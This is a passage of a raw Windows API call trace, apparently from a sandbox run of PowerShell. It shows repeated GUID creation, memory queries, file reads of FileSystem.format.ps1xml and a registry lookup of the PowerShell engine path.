Data4=([0]=0x98, [1]=0xba, [2]=0x6c, [3]=0x82, [4]=0x66, [5]=0x11, [6]=0x2f, [7]=0xb2))) returned 0x0 [0043.133] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.134] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xee09ed8b, Data2=0x9fef, Data3=0x4812, Data4=([0]=0x8d, [1]=0x1d, [2]=0xd5, [3]=0x88, [4]=0x2f, [5]=0x89, [6]=0x2a, [7]=0x73))) returned 0x0 [0043.134] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.135] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.135] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x8a90ed9e, Data2=0x14b2, Data3=0x4ffc, Data4=([0]=0xb7, [1]=0x4, [2]=0xfc, [3]=0xbf, [4]=0x3a, [5]=0x96, [6]=0x6e, [7]=0x1d))) returned 0x0 [0043.135] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x9a86b419, Data2=0x767f, Data3=0x4f3e, Data4=([0]=0x9c, [1]=0x6d, [2]=0xc6, [3]=0xe6, [4]=0x93, [5]=0x31, [6]=0x54, [7]=0xf2))) returned 0x0 [0043.136] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x61315f44, Data2=0xc3c8, Data3=0x43ac, Data4=([0]=0x94, [1]=0x31, [2]=0x66, [3]=0x5d, [4]=0x77, [5]=0x8c, [6]=0x9e, [7]=0x16))) returned 0x0 [0043.136] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x3b2a2e71, Data2=0xdc81, Data3=0x4fe6, Data4=([0]=0x84, [1]=0x38, [2]=0x1a, [3]=0xe3, [4]=0x80, [5]=0xe, [6]=0x61, [7]=0x74))) returned 0x0 [0043.136] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.137] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x647ca7a0, Data2=0xee1d, Data3=0x4dc9, Data4=([0]=0x91, [1]=0x5f, [2]=0xbe, [3]=0xc3, [4]=0xc5, [5]=0x2a, [6]=0x7f, [7]=0x6f))) returned 0x0 [0043.137] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.138] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.138] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.139] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.139] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.140] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x818575ef, Data2=0x187b, Data3=0x4620, Data4=([0]=0x96, [1]=0xa5, [2]=0x6b, [3]=0x2f, [4]=0x11, [5]=0xfd, [6]=0xe9, [7]=0xe9))) returned 0x0 [0043.140] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xf30dcb8a, Data2=0x85f1, Data3=0x433e, Data4=([0]=0xb7, [1]=0x97, [2]=0x9a, [3]=0x17, [4]=0x8e, [5]=0xc4, [6]=0xa6, [7]=0x5a))) returned 0x0 [0043.141] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xdd8ff0cc, Data2=0x19d0, Data3=0x4330, Data4=([0]=0x8b, [1]=0x6, [2]=0xa8, [3]=0xc7, [4]=0xdb, [5]=0xf3, [6]=0x93, [7]=0xf3))) returned 0x0 [0043.141] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x5dcf7548, Data2=0x1384, Data3=0x4f73, Data4=([0]=0xb8, [1]=0x64, [2]=0xaa, [3]=0xeb, [4]=0xb6, [5]=0xe6, [6]=0x83, [7]=0xd4))) returned 0x0 [0043.142] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xfae762cd, Data2=0xf1af, Data3=0x4bbe, Data4=([0]=0xa1, [1]=0x22, [2]=0xca, [3]=0x3f, [4]=0xc2, [5]=0x2f, [6]=0xf6, [7]=0x5a))) returned 0x0 [0043.142] VirtualQuery (in: lpAddress=0x24c2e0, lpBuffer=0x24d1a0, dwLength=0x30 | out: lpBuffer=0x24d1a0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.142] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x589e4444, Data2=0x7a2c, Data3=0x4dac, Data4=([0]=0x94, [1]=0x65, [2]=0x81, [3]=0x6a, [4]=0x44, [5]=0xac, [6]=0x9f, [7]=0x8d))) returned 0x0 [0043.143] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xca2f2578, Data2=0x6a8c, Data3=0x4950, Data4=([0]=0x8d, [1]=0x4c, [2]=0x9c, [3]=0x39, [4]=0x5a, [5]=0x1d, [6]=0x50, [7]=0x1))) returned 0x0 [0043.143] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x48a3da1e, Data2=0xba2c, Data3=0x4c2f, Data4=([0]=0xa9, [1]=0x2e, [2]=0x9d, [3]=0x35, [4]=0x9c, [5]=0x83, [6]=0x44, [7]=0xf6))) returned 0x0 [0043.144] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x3a02a251, Data2=0xaf44, Data3=0x4c3a, Data4=([0]=0xac, [1]=0x38, [2]=0x5c, [3]=0x8d, [4]=0x1f, [5]=0x71, [6]=0x4, [7]=0xab))) returned 0x0 [0043.144] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x5ad4041d, Data2=0xb7a6, Data3=0x4e99, Data4=([0]=0x81, [1]=0xae, [2]=0xec, [3]=0xac, [4]=0x76, [5]=0xb, [6]=0xae, [7]=0xb))) returned 0x0 [0043.144] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xe1102090, Data2=0xa15d, Data3=0x4d78, Data4=([0]=0x86, [1]=0xe8, [2]=0xd9, [3]=0x76, [4]=0x12, [5]=0x9b, [6]=0x43, [7]=0xe4))) returned 0x0 [0043.145] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xa1aa5adc, Data2=0x7a8f, Data3=0x40ff, Data4=([0]=0xbf, [1]=0x6d, [2]=0xe1, [3]=0x5a, [4]=0x17, [5]=0x41, [6]=0xaa, [7]=0x98))) returned 0x0 [0043.145] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x185293f2, Data2=0x6c03, Data3=0x4299, Data4=([0]=0xaa, [1]=0x3d, [2]=0x7a, [3]=0x25, [4]=0xe4, [5]=0xbb, [6]=0x56, [7]=0xf1))) returned 0x0 [0043.146] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x50d1a089, Data2=0x314c, Data3=0x4cc9, Data4=([0]=0xa3, [1]=0x84, [2]=0x39, [3]=0x62, [4]=0x4d, [5]=0xd0, [6]=0xa6, [7]=0x6c))) returned 0x0 [0043.146] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x672fbe93, Data2=0x42f4, Data3=0x4747, Data4=([0]=0x98, [1]=0x45, [2]=0xbd, [3]=0xc, [4]=0xe4, [5]=0x55, [6]=0x4d, [7]=0xeb))) returned 0x0 [0043.146] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xfdc6cf3e, Data2=0x223d, Data3=0x4443, Data4=([0]=0xab, [1]=0x5d, [2]=0xd6, [3]=0x6, [4]=0x91, [5]=0x81, [6]=0x77, [7]=0x67))) returned 0x0 [0043.147] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xce19f2a8, Data2=0x39b2, Data3=0x4d0d, Data4=([0]=0x89, [1]=0xd2, [2]=0x71, [3]=0x36, [4]=0x52, [5]=0xb4, [6]=0xa8, [7]=0x8))) returned 0x0 [0043.147] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x93e0f42f, Data2=0x4e03, Data3=0x4982, Data4=([0]=0xb7, [1]=0xb9, [2]=0xc, [3]=0xa7, [4]=0xbb, [5]=0x5b, [6]=0xba, [7]=0xcf))) returned 0x0 [0043.147] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x75ec0452, Data2=0xb88c, Data3=0x4b4c, Data4=([0]=0x9d, [1]=0x8e, [2]=0x69, [3]=0x9c, [4]=0x32, [5]=0xcc, [6]=0xaf, [7]=0x86))) returned 0x0 [0043.148] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x80386abf, Data2=0x6209, Data3=0x489f, Data4=([0]=0x9a, [1]=0x51, [2]=0x7a, [3]=0x1e, [4]=0x9e, [5]=0xfc, [6]=0xf2, [7]=0x17))) returned 0x0 [0043.148] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x8bb2335a, Data2=0x9652, Data3=0x488f, Data4=([0]=0xbd, [1]=0xb1, [2]=0xc5, [3]=0xa8, [4]=0x82, [5]=0x90, [6]=0x19, [7]=0x69))) returned 0x0 [0043.148] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xfffa5286, Data2=0x23e4, Data3=0x4d16, Data4=([0]=0x95, [1]=0xec, [2]=0x6a, [3]=0xb9, [4]=0x5b, [5]=0x6d, [6]=0x35, [7]=0x99))) returned 0x0 [0043.149] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x1cdf219e, Data2=0xd319, Data3=0x4940, Data4=([0]=0xb1, [1]=0xac, [2]=0x2, [3]=0x2f, [4]=0x22, [5]=0x6a, [6]=0x28, [7]=0x64))) returned 0x0 [0043.149] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xe5ce3e9c, Data2=0x8672, Data3=0x4e7f, Data4=([0]=0x8d, [1]=0x4, [2]=0xe2, [3]=0xde, [4]=0x93, [5]=0x7a, [6]=0x18, [7]=0x7d))) returned 0x0 [0043.149] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.150] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.152] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.154] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0xd74eb533, Data2=0xb66e, Data3=0x49d6, Data4=([0]=0x90, [1]=0x21, [2]=0xe3, [3]=0xf9, [4]=0x8b, [5]=0xcb, [6]=0xb2, [7]=0x49))) returned 0x0 [0043.154] SetErrorMode (uMode=0x1) returned 0x1 [0043.154] SetErrorMode (uMode=0x1) returned 0x1 [0043.154] GetFileType (hFile=0x308) returned 0x1 [0043.154] ReadFile (in: hFile=0x308, lpBuffer=0x35eec08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x35eec08*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.157] ReadFile (in: hFile=0x308, lpBuffer=0x35eec08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x35eec08*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.158] ReadFile (in: hFile=0x308, lpBuffer=0x35eec08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x35eec08*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.158] ReadFile (in: hFile=0x308, lpBuffer=0x35eec08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x35eec08*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.159] ReadFile (in: hFile=0x308, lpBuffer=0x35eec08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x35eec08*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.159] ReadFile (in: hFile=0x308, lpBuffer=0x35eec08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x35eec08*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.159] ReadFile (in: hFile=0x308, lpBuffer=0x35eec08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x35eec08*, lpNumberOfBytesRead=0x24d3b8*=0x119, lpOverlapped=0x0) returned 1 [0043.159] ReadFile (in: hFile=0x308, lpBuffer=0x35eec08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x35eec08*, lpNumberOfBytesRead=0x24d3b8*=0x0, lpOverlapped=0x0) returned 1 [0043.159] CloseHandle (hObject=0x308) returned 1 [0043.159] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0043.160] SetErrorMode (uMode=0x1) returned 0x1 [0043.160] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d360 | out: lpFileInformation=0x24d360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0043.160] SetErrorMode (uMode=0x1) returned 0x1 [0043.160] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0043.160] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d448 | out: phkResult=0x24d448*=0x308) returned 0x0 [0043.160] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d3cc, lpData=0x0, lpcbData=0x24d3c8*=0x0 | out: lpType=0x24d3cc*=0x1, lpData=0x0, lpcbData=0x24d3c8*=0x56) returned 0x0 [0043.160] CoTaskMemAlloc (cb=0x5a) returned 0x1b9c7fe0 [0043.160] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d39c, lpData=0x1b9c7fe0, lpcbData=0x24d398*=0x56 | out: lpType=0x24d39c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d398*=0x56) returned 0x0 [0043.160] CoTaskMemFree (pv=0x1b9c7fe0) [0043.161] RegCloseKey (hKey=0x308) returned 0x0 [0043.161] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24d090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0043.162] VirtualQuery (in: lpAddress=0x24bee0, lpBuffer=0x24cda0, dwLength=0x30 | out: lpBuffer=0x24cda0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.162] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x6c7149a4, Data2=0x6a0e, Data3=0x4597, Data4=([0]=0x85, [1]=0xbe, [2]=0xf0, [3]=0x5, [4]=0x56, [5]=0x46, [6]=0x90, [7]=0xa1))) returned 0x0 [0043.162] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.163] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x5472fdd3, Data2=0x20d5, Data3=0x4793, Data4=([0]=0xac, [1]=0x36, [2]=0x8f, [3]=0xbb, [4]=0x57, [5]=0xb8, [6]=0x26, [7]=0x99))) returned 0x0 [0043.163] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x8084cbe2, Data2=0xc060, Data3=0x426f, Data4=([0]=0xb7, [1]=0x28, [2]=0xf6, [3]=0x93, [4]=0x83, [5]=0xbc, [6]=0x14, [7]=0x45))) returned 0x0 [0043.163] CoCreateGuid (in: pguid=0x24d670 | out: pguid=0x24d670*(Data1=0x4fe4f6e6, Data2=0xefb9, Data3=0x4284, Data4=([0]=0xad, [1]=0x49, [2]=0x40, [3]=0x71, [4]=0x1c, [5]=0xbf, [6]=0x27, [7]=0xd7))) returned 0x0 [0043.163] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.163] VirtualQuery (in: lpAddress=0x24c020, lpBuffer=0x24cee0, dwLength=0x30 | out: lpBuffer=0x24cee0*(BaseAddress=0x24c000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0043.163] SetErrorMode (uMode=0x1) returned 0x1 [0043.164] SetErrorMode (uMode=0x1) returned 0x1 [0043.164] GetFileType (hFile=0x308) returned 0x1 [0043.164] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.166] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.166] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.166] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.167] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.167] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.167] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.167] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.168] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.168] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.168] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.168] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.169] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.169] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.169] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.170] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.171] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.171] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.171] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.172] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.172] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.172] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.172] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.172] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: lpBuffer=0x364ada8*, lpNumberOfBytesRead=0x24d3b8*=0x1000, lpOverlapped=0x0) returned 1 [0043.172] ReadFile (in: hFile=0x308, lpBuffer=0x364ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d3b8, lpOverlapped=0x0 | out: 